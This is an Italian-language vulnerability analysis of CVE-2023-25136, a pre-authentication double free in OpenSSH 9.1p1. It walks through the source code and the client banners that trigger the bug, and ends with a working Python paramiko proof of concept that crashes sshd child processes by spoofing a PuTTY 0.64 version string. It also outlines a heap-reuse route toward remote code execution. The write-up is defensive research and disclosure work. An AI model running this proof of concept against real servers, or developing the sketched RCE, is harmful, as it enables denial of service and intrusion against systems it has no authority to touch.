
OpenSSH Pre-Auth Double Free CVE-2023-25136 – Analisi e Proof-of-Concept
OpenSSH è uno strumento molto diffuso utilizzato per comunicazioni sicure e accesso remoto. È stato sviluppato come implementazione open-source e gratuita del protocollo di comunicazione Secure Shell (SSH) ed è ampiamente utilizzato in numerose applicazioni.
OpenSSH fornisce una connessione sicura e crittografata tra due host non fidati attraverso una rete non sicura, rendendolo uno strumento essenziale per l'accesso remoto e il trasferimento sicuro di file.
Con il crescente utilizzo del cloud computing e dell'accesso remoto ai server, OpenSSH è diventato uno strumento cruciale per amministratori di sistema e sviluppatori che devono accedere e gestire sistemi remoti in modo sicuro.
OpenSSH supporta inoltre un'ampia gamma di piattaforme, tra cui Linux, macOS e Windows, rendendolo uno strumento ampiamente adottato su diversi sistemi operativi. Grazie alla sua facilità d'uso e alle robuste funzionalità di sicurezza, OpenSSH è diventato uno standard di settore per l'accesso remoto sicuro.
Il 2 febbraio 2023, OpenSSH ha rilasciato la versione 9.2p1 con questo advisory di sicurezza. È apparso subito chiaro che questa versione fosse interessante a causa della vulnerabilità di doppia free pre-autenticazione. Cercando nel repository GitHub di OpenSSH, questo è il commit di correzione.
Il messaggio del commit indica bz3522, che si riferisce al problema di Bugzilla segnalato dall'utente Mantas Mikulėnas.
Nel suo rapporto, Mantas menziona l'uso di una versione obsoleta di PuTTY, la 0.64, allegando anche una traccia di backtrace relativa all'abort causato dalla doppia free.
Per approfondire, abbiamo configurato un ambiente con la versione vulnerabile di OpenSSH 9.1p1 e recuperato una copia della vecchia versione 0.64 di PuTTY, rilasciata 8 anni fa, il 28 febbraio 2015.
Dopo aver tentato di connettersi con PuTTY 0.64 al server OpenSSH vulnerabile, è stato restituito il seguente errore:

Poiché gli algoritmi di scambio chiavi del client obsoleto non sono supportati dalla nuova versione di OpenSSH, abbiamo modificato il file sshd_config aggiungendo la seguente riga a /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1
Dopo aver riavviato il server SSH e riprovato, è stato restituito il seguente errore:

Dopo aver aggiunto un'altra riga di configurazione al file sshd_config, siamo riusciti a connetterci al server OpenSSH vulnerabile e a riprodurre il crash:
HostKeyAlgorithms +ssh-rsa
Eseguendo il server in modalità di debug (usando il flag -ddd), è stato restituito il seguente messaggio di debug:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
Il numero di syscall 20 corrisponde a writev(), che coincide con il rapporto su Bugzilla.
Si noti che le modifiche alla configurazione effettuate servivano solo a riprodurre la vulnerabilità tramite PuTTY e non sono necessarie per sfruttarla. Come vedremo nel PoC, la configurazione predefinita è vulnerabile.
Abbiamo iniziato esaminando il commit di correzione che indica compat_kex_proposal() come responsabile della doppia free. Quando l'opzione di compatibilità della connessione SSH_OLD_DHGEX è vera in [1], il secondo argomento p viene assegnato a cp in [2] e successivamente liberato in [3].
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
La chiamata a compat_kex_proposal() avviene all'interno della funzione do_ssh2_kex():
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
Il puntatore cp=p liberato in compat_kex_proposal() si riferisce all'argomento options.kex_algorithms.
Cercando kex_algorithms nel codice sorgente, abbiamo incontrato assemble_algorithms menzionato nel crash del rapporto su Bugzilla:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE è una macro che chiama la funzione kex_assemble_names():
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
La funzione kex_assemble_names() viene chiamata con l'indirizzo di o->kex_algorithms come primo argomento (ovvero listp). È qui che avviene la seconda free.
int
kex_assemble_names(char **listp, const char *def, const char *all)
Poiché l'handle options.kex_algorithms viene liberato e diventa un puntatore pendente, viene liberato nuovamente, causando una doppia free.
Ma dove viene impostata l'opzione SSH_OLD_DHGEX?
All'interno della funzione compat_banner(), che determina i flag di bug a partire dal banner del protocollo SSH. Una struct chiamata check[] elenca tutti gli ID dei client SSH e i relativi flag. Il seguente snippet mostra gli ID client a cui viene assegnata l'opzione SSH_OLD_DHGEX. Possiamo anche notare che WinSCP potrebbe essere in grado di innescare questo comportamento.
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
Abbiamo scelto di creare un Proof-of-Concept in Python per Denial of Service grazie alla sua flessibilità e portabilità. Il proof-of-concept innesca la doppia free utilizzando il pacchetto paramiko e causa un crash con abort.
paramiko è un'implementazione SSH in Python molto diffusa, che fornisce funzionalità sia lato server che lato client. Per il PoC abbiamo modificato il banner della versione del client di connessione per farlo apparire come un client obsoleto, ad esempio PuTTY v0.64.
Disponibile nel nostro repository GitHub.
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
Lo exploit alloca un'altra struct chiamata EVP_AES_KEY al posto del puntatore liberato options.kex_algorithms. Questa viene poi liberata nuovamente quando si verifica la doppia free. Successivamente, il suo contenuto viene sovrascritto con un altro chunk usando authctxt->user o authctxt->style.
Quando EVP_Cipher() successivamente tenta di utilizzare questa EVP_AES_KEY, userà il chunk che l'ha sovrascritta con dati controllati dall'attaccante.
Il demone OpenSSH resta in ascolto delle connessioni dai client. Per ogni connessione in arrivo, crea un nuovo demone figlio tramite fork. I demoni figli gestiscono lo scambio di chiavi, la crittografia, l'autenticazione, l'esecuzione dei comandi e lo scambio di dati.
La vulnerabilità è una doppia free che, in teoria, può essere sfruttata per un denial of service, come dimostrato dal nostro Proof-of-Concept, e possibilmente per l'esecuzione remota di codice (RCE), sebbene lo sviluppo di uno exploit funzionante sia considerato difficile a causa delle misure di sicurezza presenti, come la sandbox e il meccanismo di Privilege Separation. Per quanto riguarda il denial of service, si noti che solo i demoni figli vanno in crash, a causa di una violazione della sandbox mentre si tenta di chiamare writev(), lasciando quindi il demone principale libero di gestire nuovi client.
A questa vulnerabilità è stato assegnato un livello di gravità Alto per i seguenti motivi:
Non sono richiesti prerequisiti. Una configurazione predefinita è vulnerabile.
Quando non vengono applicate mitigazioni per lo sfruttamento della memoria (come ASLR o NX), la RCE è possibile, secondo una pubblicazione recente.
Per quanto riguarda un attacco Denial of Service, mandare in crash un processo worker figlio è molto meno grave di un DoS che manda in crash un demone importante, ma entrambi riceveranno un rating CVSS di impatto sulla Disponibilità "Alto".
Si noti che OpenSSH ha messo in atto misure di sicurezza come la sandbox e il meccanismo di Privilege Separation, ma queste non dovrebbero ridurre la gravità del possibile attacco RCE.
La vulnerabilità si applica solo alla versione 9.1p1 di OpenSSH con configurazione predefinita, il che significa che non sono richiesti prerequisiti.